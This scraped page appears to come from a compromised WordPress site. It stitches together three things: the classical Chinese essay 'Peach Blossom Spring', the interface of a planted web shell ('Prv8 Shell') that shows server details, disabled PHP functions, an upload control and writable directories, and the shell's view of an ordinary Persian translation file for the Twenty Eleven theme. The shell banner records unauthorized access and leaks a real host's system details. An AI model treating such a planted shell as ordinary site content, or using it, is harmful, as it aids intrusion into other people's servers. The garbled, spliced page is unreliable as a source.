晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/stando/www/wp-content/languages/themes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/stando/www/wp-content/languages/themes/twentyeleven-fa_IR.po
# Translation of Themes - Twenty Eleven in Persian
# This file is distributed under the same license as the Themes - Twenty Eleven package.
msgid ""
msgstr ""
"PO-Revision-Date: 2019-11-13 22:47:14+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=1; plural=0;\n"
"X-Generator: GlotPress/2.4.0-alpha\n"
"Language: fa\n"
"Project-Id-Version: Themes - Twenty Eleven\n"

#. Description of the theme
msgid "The 2011 theme for WordPress is sophisticated, lightweight, and adaptable. Make it yours with a custom menu, header image, and background -- then go further with available theme options for light or dark color scheme, custom link colors, and three layout choices. Twenty Eleven comes equipped with a Showcase page template that transforms your front page into a showcase to show off your best content, widget support galore (sidebar, three footer areas, and a Showcase page widget area), and a custom \"Ephemera\" widget to display your Aside, Link, Quote, or Status posts. Included are styles for print and for the admin editor, support for featured images (as custom header images on posts and pages and as large images on featured \"sticky\" posts), and special styles for six different post formats."
msgstr "The 2011 theme for WordPress is sophisticated, lightweight, and adaptable. Make it yours with a custom menu, header image, and background -- then go further with available theme options for light or dark color scheme, custom link colors, and three layout choices. Twenty Eleven comes equipped with a Showcase page template that transforms your front page into a showcase to show off your best content, widget support galore (sidebar, three footer areas, and a Showcase page widget area), and a custom \"Ephemera\" widget to display your Aside, Link, Quote, or Status posts. Included are styles for print and for the admin editor, support for featured images (as custom header images on posts and pages and as large images on featured \"sticky\" posts), and special styles for six different post formats."

#. Theme Name of the theme
msgid "Twenty Eleven"
msgstr "دو هزار و یازده"

#. translators: %s: The post title.
#: comments.php:37
msgid "One thought on “%1$s”"
msgstr "یک دیدگاه دربارهٔ «%1$s»"

#: functions.php:127
msgid "White"
msgstr "سفید"

#: functions.php:122
msgid "Light Gray"
msgstr "خاکستری روشن"

#: functions.php:117
msgid "Medium Gray"
msgstr "خاکستری متوسط"

#: functions.php:112
msgid "Dark Gray"
msgstr "خاکستری تیره"

#: functions.php:107
msgid "Black"
msgstr "سیاه"

#: functions.php:102
msgid "Blue"
msgstr "آبی"

#. Template Name of the theme
msgid "Sidebar Template"
msgstr "قالب ستون‌کناری"

#. Template Name of the theme
msgid "Showcase Template"
msgstr "قالب ویترین"

#: tag.php:20
msgid "Tag Archives: %s"
msgstr "بایگانی برچسب: s%"

#: single.php:23
msgid "Next <span class=\"meta-nav\">&rarr;</span>"
msgstr "بعدی <span class=\"meta-nav\">&larr;</span>"

#: single.php:22
msgid "<span class=\"meta-nav\">&larr;</span> Previous"
msgstr "<span class=\"meta-nav\">&rarr;</span> قبلی"

#: sidebar.php:26
msgid "Meta"
msgstr "اطلاعات"

#: sidebar.php:19
msgid "Archives"
msgstr "بایگانی"

#: showcase.php:170
msgid "Recent Posts"
msgstr "نوشته‌های تازه"

#: showcase.php:160
msgid "Featuring: %s"
msgstr "شاخص: %s"

#: showcase.php:83
msgid "Featured Post"
msgstr "نوشته شاخص"

#: searchform.php:11 searchform.php:12 searchform.php:13
msgid "Search"
msgstr "جست‌وجو"

#: search.php:51
msgid "Sorry, but nothing matched your search criteria. Please try again with some different keywords."
msgstr "متأسفیم، موردی مطابق با جستجوی شما پیدا نشد. لطفا برای جستجو از کلیدواژه‌های دیگری استفاده کنید."

#: search.php:18
msgid "Search Results for: %s"
msgstr "نتایج جستجوی: %s"

#: inc/widgets.php:196
msgid "Number of posts to show:"
msgstr "تعداد نوشته‌هایی که نمایش داده می‌شود:"

#: inc/widgets.php:193
msgid "Title:"
msgstr "نام:"

#: inc/widgets.php:117 inc/widgets.php:126
msgid "% <span class=\"reply\">comments &rarr;</span>"
msgstr "% <span class=\"reply\">نظر &larr;</span>"

#: inc/widgets.php:117 inc/widgets.php:126
msgid "1 <span class=\"reply\">comment &rarr;</span>"
msgstr "۱ <span class=\"reply\">نظر &larr;</span>"

#: inc/widgets.php:117 inc/widgets.php:126
msgid "0 <span class=\"reply\">comments &rarr;</span>"
msgstr "۰ <span class=\"reply\">نظر &larr;</span>"

#: inc/widgets.php:73
msgid "Ephemera"
msgstr "در جریان"

#: inc/widgets.php:23
msgid "Twenty Eleven Ephemera"
msgstr "در جریان دو هزار و یازده"

#: inc/widgets.php:26
msgid "Use this widget to list your recent Aside, Status, Quote, and Link posts"
msgstr "برای فهرست کردن تازه‌ترین حاشیه‌ها، وضعیت‌ها، نقل‌قول و پیوندهای نوشته‌ای از این ابزارک استفاده کنید"

#: inc/theme-options.php:600
msgid "Layout"
msgstr "طرح"

#: inc/theme-options.php:341
msgid "%s Theme Options"
msgstr "%s تنظیمات پوسته"

#: inc/theme-options.php:305
msgid "Default color: %s"
msgstr "رنگ پیش‌فرض: %s"

#: inc/theme-options.php:302
msgid "Select a Color"
msgstr "گزینش رنگ"

#: inc/theme-options.php:193
msgid "One-column, no sidebar"
msgstr "یک ستونه، بدون نوارکناری"

#: inc/theme-options.php:188
msgid "Content on right"
msgstr "محتوا در راست"

#: inc/theme-options.php:183
msgid "Content on left"
msgstr "محتوا در چپ"

#: inc/theme-options.php:158
msgid "Dark"
msgstr "تیره"

#: inc/theme-options.php:152
msgid "Light"
msgstr "روشن"

#: inc/theme-options.php:130
msgid "Overview"
msgstr "نمای‌کلی"

#: inc/theme-options.php:122
msgid "<a href=\"https://wordpress.org/support/\" target=\"_blank\">Support</a>"
msgstr "<a href=\"https://wordpress.org/support/\" target=\"_blank\">پشتیبانی</a>"

#: inc/theme-options.php:121
msgid "<a href=\"https://codex.wordpress.org/Appearance_Theme_Options_Screen\" target=\"_blank\">Documentation on Theme Options</a>"
msgstr "<a href=\"https://codex.wordpress.org/Appearance_Theme_Options_Screen\" target=\"_blank\">مستندات درباره‌ی تنظیمات پوسته</a>"

#: inc/theme-options.php:120
msgid "For more information:"
msgstr "برای اطلاعات بیشتر:"

#: inc/theme-options.php:118
msgid "Remember to click \"Save Changes\" to save any changes you have made to the theme options."
msgstr "به‌یاد داشته باشید که پس از انجام تغییرات، «ذخیره تغییرات» را کلیک کنید."

#: inc/theme-options.php:116
msgid "<strong>Default Layout</strong>: You can choose if you want your site&#8217;s default layout to have a sidebar on the left, the right, or not at all."
msgstr "<strong>طرح پیش‌فرض</strong>: می‌توانید انتخاب کنید که سایت‌تان یک نوارکناری در راست، یا چپ داشته باشد، یا اصلا نوارکناری نداشته باشد."

#: inc/theme-options.php:115
msgid "<strong>Link Color</strong>: You can choose the color used for text links on your site. You can enter the HTML color or hex code, or you can choose visually by clicking the \"Select a Color\" button to pick from a color wheel."
msgstr "<strong>رنگ پیوند</strong>: می‌توانید رنگ پیوندهای موجود در وبلاگ خود را در این قسمت انتخاب کنید. می‌توانید کد رنگ موردنظر خود را وارد کنید یا با کلیک بروی «گزینش رنگ» از دایره‌ی رنگ‌های موجود، رنگ موردنظر خود را انتخاب کنید."

#: inc/theme-options.php:114
msgid "<strong>Color Scheme</strong>: You can choose a color palette of \"Light\" (light background with dark text) or \"Dark\" (dark background with light text) for your site."
msgstr "<strong>رنگبندی</strong>: می‌توانید برای سایت خود رنگبندی روشن (پس‌زمینه سفید و متن تیره) یا رنگبندی تیره (پس‌زمینه تیره و متن روشن) انتخاب کنید."

#: inc/theme-options.php:112
msgid "Some themes provide customization options that are grouped together on a Theme Options screen. If you change themes, options may change or disappear, as they are theme-specific. Your current theme, Twenty Eleven, provides the following Theme Options:"
msgstr "برخی پوسته‌ها، یک سری تنظیمات را در بخش تنظیمات پوسته در اختیار کاربران قرار می‌دهند. اگر پوسته را تغییر دهید ممکن است این تنظیمات ناپدید شوند زیر تنها متعلق به همین پوسته هستند. پوسته‌ِ فعلی شما، دو هزار و یازده، تنظیمات زیر را در اختیار شما قرار می‌دهد:"

#: inc/theme-options.php:95 inc/theme-options.php:96
msgid "Theme Options"
msgstr "تنظیمات پوسته"

#: inc/theme-options.php:63
msgid "Default Layout"
msgstr "طرح پیش‌فرض"

#: inc/theme-options.php:62 inc/theme-options.php:589
msgid "Link Color"
msgstr "رنگ پیوند"

#: inc/theme-options.php:56 inc/theme-options.php:564
msgid "Color Scheme"
msgstr "رنگبندی"

#: image.php:34
msgid "<span class=\"meta-prep meta-prep-entry-date\">Published </span> <span class=\"entry-date\"><abbr class=\"published\" title=\"%1$s\">%2$s</abbr></span> at <a href=\"%3$s\" title=\"Link to full-size image\">%4$s &times; %5$s</a> in <a href=\"%6$s\" title=\"Return to %7$s\" rel=\"gallery\">%8$s</a>"
msgstr "<span class=\"meta-prep meta-prep-entry-date\">منتشر شده </span> <span class=\"entry-date\"><abbr class=\"published\" title=\"%1$s\">%2$s</abbr></span> در <a href=\"%3$s\" title=\"پیوند به تصویر تمام‌اندازه\">%4$s &times; %5$s</a> در <a href=\"%6$s\" title=\"بازگشت به %7$s\" rel=\"gallery\">%8$s</a>"

#: image.php:23
msgid "Next &rarr;"
msgstr "بعدی &larr;"

#: image.php:22
msgid "&larr; Previous"
msgstr "&rarr; قبلی"

#: image.php:21
msgid "Image navigation"
msgstr "جابجایی بین تصاویر"

#: header.php:147
msgid "Skip to secondary content"
msgstr "پرش به محتوای ثانویه"

#: header.php:145
msgid "Skip to primary content"
msgstr "پرش به محتوای اصلی"

#: header.php:143
msgid "Main menu"
msgstr "فهرست اصلی"

#: header.php:45
msgid "Page %s"
msgstr "برگه %s"

#: functions.php:787
msgid "<span class=\"sep\">Posted on </span><a href=\"%1$s\" title=\"%2$s\" rel=\"bookmark\"><time class=\"entry-date\" datetime=\"%3$s\">%4$s</time></a><span class=\"by-author\"> <span class=\"sep\"> by </span> <span class=\"author vcard\"><a class=\"url fn n\" href=\"%5$s\" title=\"%6$s\" rel=\"author\">%7$s</a></span></span>"
msgstr "<span class=\"sep\">ارسال شده در  </span><a href=\"%1$s\" title=\"%2$s\" rel=\"bookmark\"><time class=\"entry-date\" datetime=\"%3$s\">%4$s</time></a><span class=\"by-author\"> <span class=\"sep\"> توسط </span> <span class=\"author vcard\"><a class=\"url fn n\" href=\"%5$s\" title=\"%6$s\" rel=\"author\">%7$s</a></span></span>"

#: functions.php:761
msgid "Reply <span>&darr;</span>"
msgstr "پاسخ <span>&darr;</span>"

#: functions.php:747
msgid "Your comment is awaiting moderation."
msgstr "دیدگاه شما در انتظار بررسی است."

#. translators: 1: date, 2: time
#: functions.php:738
msgid "%1$s at %2$s"
msgstr "%1$s در %2$s"

#: functions.php:731
msgid "%1$s on %2$s <span class=\"says\">said:</span>"
msgstr "%1$s در %2$s <span class=\"says\">گفت:</span>"

#: functions.php:712
msgid "Pingback:"
msgstr "بازتاب:"

#: functions.php:607
msgid "Newer posts <span class=\"meta-nav\">&rarr;</span>"
msgstr "نوشته‌های تازه‌تر <span class=\"meta-nav\">&larr;</span>"

#: functions.php:606
msgid "<span class=\"meta-nav\">&larr;</span> Older posts"
msgstr "<span class=\"meta-nav\">&rarr;</span> نوشته‌های کهنه‌تر"

#: single.php:21 functions.php:605
msgid "Post navigation"
msgstr "ناوبری نوشته"

#: functions.php:579
msgid "Footer Area Three"
msgstr "بخش سوم پابرگ"

#: functions.php:567
msgid "Footer Area Two"
msgstr "بخش دوم پابرگ"

#: functions.php:557 functions.php:569 functions.php:581
msgid "An optional widget area for your site footer"
msgstr "یک منطقه‌ی انتخابی ابزارک برای پابرگ سایت شما"

#: functions.php:555
msgid "Footer Area One"
msgstr "بخش اول پابرگ"

#: functions.php:545
msgid "The sidebar for the optional Showcase Template"
msgstr "نوارکناری برای قالب ویترین انتخابی"

#: functions.php:543
msgid "Showcase Sidebar"
msgstr "نوارکناری ویترین"

#: functions.php:532
msgid "Main Sidebar"
msgstr "ستون‌کناری اصلی"

#. translators: header image description
#: functions.php:280
msgid "Hanoi Plant"
msgstr "گیاه هانوی"

#. translators: header image description
#: functions.php:274
msgid "Willow"
msgstr "بید مجنون"

#. translators: header image description
#: functions.php:268
msgid "Lanterns"
msgstr "فانوس‌ها"

#. translators: header image description
#: functions.php:262
msgid "Chessboard"
msgstr "صفحه شطرنج"

#. translators: header image description
#: functions.php:256
msgid "Pine Cone"
msgstr "میوه کاج"

#. translators: header image description
#: functions.php:250
msgid "Trolley"
msgstr "واگن"

#. translators: header image description
#: functions.php:244
msgid "Shore"
msgstr "ساحل"

#. translators: header image description
#: functions.php:238
msgid "Wheel"
msgstr "چرخ"

#: functions.php:144
msgid "Primary Menu"
msgstr "فهرست اصلی"

#: footer.php:35
msgid "Proudly powered by %s"
msgstr "با افتخار نیرو گرفته از %s"

#: footer.php:34
msgid "Semantic Personal Publishing Platform"
msgstr "نرم‌افزار انتشار شخصی"

#: content.php:16
msgid "Featured"
msgstr "شاخص"

#: content-status.php:19
msgid "Status"
msgstr "وضعیت"

#: content-single.php:74
msgid "View all posts by %s <span class=\"meta-nav\">&rarr;</span>"
msgstr "دیدن همه‌ی نوشته‌های: %s <span class=\"meta-nav\">&rarr;</span>"

#: content-single.php:46
msgid "This entry was posted by <a href=\"%6$s\">%5$s</a>. Bookmark the <a href=\"%3$s\" title=\"Permalink to %4$s\" rel=\"bookmark\">permalink</a>."
msgstr "نوشته شده توسط  <a href=\"%6$s\">%5$s</a>. افزودن <a href=\"%3$s\" title=\"پیوند یکتا به %4$s\" rel=\"bookmark\">پیوند یکتا</a> به علاقمندی‌ها."

#: content-single.php:44
msgid "This entry was posted in %1$s by <a href=\"%6$s\">%5$s</a>. Bookmark the <a href=\"%3$s\" title=\"Permalink to %4$s\" rel=\"bookmark\">permalink</a>."
msgstr "نوشته شده در %1$s توسط <a href=\"%6$s\">%5$s</a>.  افزودن <a href=\"%3$s\" title=\"پیوند یکتا به %4$s\" rel=\"bookmark\">پیوند یکتا</a> به علاقمندی‌ها."

#: content-single.php:42
msgid "This entry was posted in %1$s and tagged %2$s by <a href=\"%6$s\">%5$s</a>. Bookmark the <a href=\"%3$s\" title=\"Permalink to %4$s\" rel=\"bookmark\">permalink</a>."
msgstr "نوشته شده در %1$s با برچسب %2$s توسط <a href=\"%6$s\">%5$s</a>. افزودن <a href=\"%3$s\" title=\"پیوند یکتا به %4$s\" rel=\"bookmark\">پیوند یکتا</a> به علاقمندی‌ها."

#: content-quote.php:15
msgid "Quote"
msgstr "گفتاورد"

#: content-link.php:19
msgid "Link"
msgstr "پیوند"

#: content-image.php:49 functions.php:793
msgid "View all posts by %s"
msgstr "نمایش همه‌ی نوشته‌های %s"

#: content-image.php:44
msgid "<a href=\"%1$s\" rel=\"bookmark\"><time class=\"entry-date\" datetime=\"%2$s\">%3$s</time></a><span class=\"by-author\"> <span class=\"sep\"> by </span> <span class=\"author vcard\"><a class=\"url fn n\" href=\"%4$s\" title=\"%5$s\" rel=\"author\">%6$s</a></span></span>"
msgstr "<a href=\"%1$s\" rel=\"bookmark\"><time class=\"entry-date\" datetime=\"%2$s\">%3$s</time></a><span class=\"by-author\"> <span class=\"sep\"> توسط </span> <span class=\"author vcard\"><a class=\"url fn n\" href=\"%4$s\" title=\"%5$s\" rel=\"author\">%6$s</a></span></span>"

#: content-image.php:18
msgid "Image"
msgstr "تصویر"

#: content-gallery.php:93 content-image.php:70 content-quote.php:71
#: content.php:80
msgid "<span class=\"%1$s\">Tagged</span> %2$s"
msgstr "<span class=\"%1$s\">برچسب‌شده</span> %2$s"

#: content-gallery.php:78 content-image.php:61 content-quote.php:56
#: content.php:63
msgid "<span class=\"%1$s\">Posted in</span> %2$s"
msgstr "<span class=\"%1$s\">منتشرشده در</span> %2$s"

#: content-gallery.php:50 showcase.php:128
msgid "Permalink to %s"
msgstr "پیوند پایدار به %s"

#: content-gallery.php:49
msgid "This gallery contains <a %1$s>%2$s photo</a>."
msgid_plural "This gallery contains <a %1$s>%2$s photos</a>."
msgstr[0] "این گالری شامل <a %1$s>%2$s تصویر</a> است."

#: content-gallery.php:19
msgid "Gallery"
msgstr "گالری"

#: content-featured.php:40
msgid "This entry was posted in %1$s. Bookmark the <a href=\"%3$s\" title=\"Permalink to %4$s\" rel=\"bookmark\">permalink</a>."
msgstr "این نوشته در %1$s ارسال شده است. افزودن <a href=\"%3$s\" title=\"Permalink to %4$s\" rel=\"bookmark\">پیوند یکتا</a> به علاقه‌مندی‌ها."

#: content-featured.php:38
msgid "This entry was posted in %1$s and tagged %2$s. Bookmark the <a href=\"%3$s\" title=\"Permalink to %4$s\" rel=\"bookmark\">permalink</a>."
msgstr "این نوشته در %1$s ارسال و %2$s برچسب شده است. افزودن <a href=\"%3$s\" title=\"Permalink to %4$s\" rel=\"bookmark\">پیوند یکتا</a> به علاقه‌مندی‌ها."

#. translators: used between list items, there is a space after the comma
#: content-gallery.php:73 content-gallery.php:85 content-image.php:57
#: content-image.php:66 content-single.php:37 content-single.php:40
#: content-quote.php:51 content-quote.php:63 content-featured.php:36
#: content-featured.php:45 content.php:58 content.php:72
msgid ", "
msgstr "٬ "

#: content-gallery.php:106 content-aside.php:53 content-status.php:66
#: content-image.php:79 content-single.php:59 content-link.php:53
#: content-intro.php:26 content-page.php:28 content-quote.php:84 image.php:45
#: functions.php:712 functions.php:743 content-featured.php:52 content.php:94
msgid "Edit"
msgstr "ویرایش"

#: content-gallery.php:103 content-aside.php:51 content-status.php:64
#: content-image.php:75 content-link.php:51 content-quote.php:81
#: showcase.php:214 content.php:91
msgid "<b>%</b> Replies"
msgstr "<b>%</b> پاسخ"

#: content-gallery.php:103 content-aside.php:51 content-status.php:64
#: content-image.php:75 content-link.php:51 content-quote.php:81
#: showcase.php:214 content.php:91
msgid "<b>1</b> Reply"
msgstr "<b>۱</b> پاسخ"

#: content-gallery.php:103 content-aside.php:51 content-status.php:64
#: content-image.php:75 content-link.php:51 content-quote.php:81
#: showcase.php:214 content.php:91
msgid "Leave a reply"
msgstr "پاسخ دهید"

#: content-gallery.php:61 content-aside.php:39 content-status.php:52
#: content-image.php:33 content-single.php:27 content-link.php:39
#: content-intro.php:21 content-page.php:21 content-quote.php:39 image.php:119
#: content-featured.php:26 content.php:45
msgid "Pages:"
msgstr "برگه‌ها :"

#: content-gallery.php:34 content-aside.php:35 content-status.php:48
#: content-image.php:29 content-link.php:35 content-quote.php:35
#: functions.php:459 content.php:41
msgid "Continue reading <span class=\"meta-nav\">&rarr;</span>"
msgstr "ادامه‌ی خواندن<span class=\"meta-nav\">&rarr;</span>"

#: content-aside.php:24 content-status.php:24 content-image.php:23
#: content-link.php:24 content-quote.php:24 content.php:30
msgctxt "comments number"
msgid "%"
msgstr "%"

#: content-aside.php:24 content-status.php:24 content-image.php:23
#: content-link.php:24 content-quote.php:24 content.php:30
msgctxt "comments number"
msgid "1"
msgstr "۱"

#: content-aside.php:24 content-status.php:24 content-image.php:23
#: content-link.php:24 content-quote.php:24 content.php:30
msgid "Reply"
msgstr "پاسخ دادن"

#: content-aside.php:19
msgid "Aside"
msgstr "حاشیه"

#: comments.php:87
msgid "Comments are closed."
msgstr "دیدگاه‌ها غیرفعال هستند."

#: comments.php:55 comments.php:76
msgid "Newer Comments &rarr;"
msgstr "دیدگاه‌های تازه‌تر &larr;"

#: comments.php:54 comments.php:75
msgid "&larr; Older Comments"
msgstr "&rarr; دیدگاه‌های کهنه‌تر"

#: comments.php:53 comments.php:74
msgid "Comment navigation"
msgstr "ناوبری دیدگاه"

#. translators: %1$s: The number of comments. %2$s: The post title.
#: comments.php:43
msgid "%1$s thought on &ldquo;%2$s&rdquo;"
msgid_plural "%1$s thoughts on &ldquo;%2$s&rdquo;"
msgstr[0] "%1$s نظر در &ldquo;%2$s&rdquo;"

#: comments.php:17
msgid "This post is password protected. Enter the password to view any comments."
msgstr "این نوشته به وسیله رمز محافظت شده است. جهت دیدن دیدگاه‌ها رمز را وارد کنید."

#: category.php:20
msgid "Category Archives: %s"
msgstr "بایگانی دسته: %s"

#: content-single.php:70 author.php:61
msgid "About %s"
msgstr "درباره %s"

#: author.php:29
msgid "Author Archives: %s"
msgstr "بایگانی نویسنده: %s"

#: archive.php:64 index.php:44 tag.php:69 category.php:68 author.php:94
msgid "Apologies, but no results were found for the requested archive. Perhaps searching will help find a related post."
msgstr "با عرض پوزش،هیچ نتیجه‌ای برای بایگانی درخواستی پیدا نشد. شاید جستجو بتواند به شما در جهت پیدا کردن نوشته‌ای مرتبط کمک کند."

#: archive.php:60 index.php:40 tag.php:65 search.php:47 category.php:64
#: author.php:90
msgid "Nothing Found"
msgstr "چیزی پیدا نشد"

#: archive.php:31
msgid "Blog Archives"
msgstr "بایگانی وبلاگ"

#: archive.php:29
msgctxt "yearly archives date format"
msgid "Y"
msgstr "Y"

#: archive.php:29
msgid "Yearly Archives: %s"
msgstr "بایگانی سالیانه: %s"

#: archive.php:27
msgctxt "monthly archives date format"
msgid "F Y"
msgstr "F Y"

#: archive.php:27
msgid "Monthly Archives: %s"
msgstr "بایگانی ماهیانه: %s"

#: archive.php:25
msgid "Daily Archives: %s"
msgstr "بایگانی روزانه: %s"

#. translators: %1$s: smilie
#: 404.php:46
msgid "Try looking in the monthly archives. %1$s"
msgstr "به بایگانی ماهیانه هم نگاهی بیاندازید. %1$s"

#: 404.php:28
msgid "Most Used Categories"
msgstr "دسته‌های بیشتر استفاده شده"

#: 404.php:21
msgid "It seems we can&rsquo;t find what you&rsquo;re looking for. Perhaps searching, or one of the links below, can help."
msgstr "گویا ما نمی‌توانیم چیزی که شما به‌دنبالش بودید را بیابیم. شاید جستجوی بیشتر یا یکی از پیوندهای زیر بتواند به شما کمک کند."

#: 404.php:17
msgid "This is somewhat embarrassing, isn&rsquo;t it?"
msgstr "این خیلی شرم‌آوره، نه؟"

#. Author URI of the theme
#: footer.php:34
msgid "https://wordpress.org/"
msgstr "http://wp-persian.com/"

#. Author of the theme
msgid "the WordPress team"
msgstr "گروه وردپرس فارسی"

#. Theme URI of the theme
msgid "https://wordpress.org/themes/twentyeleven/"
msgstr "https://wordpress.org/themes/twentyeleven/"

haha - 2025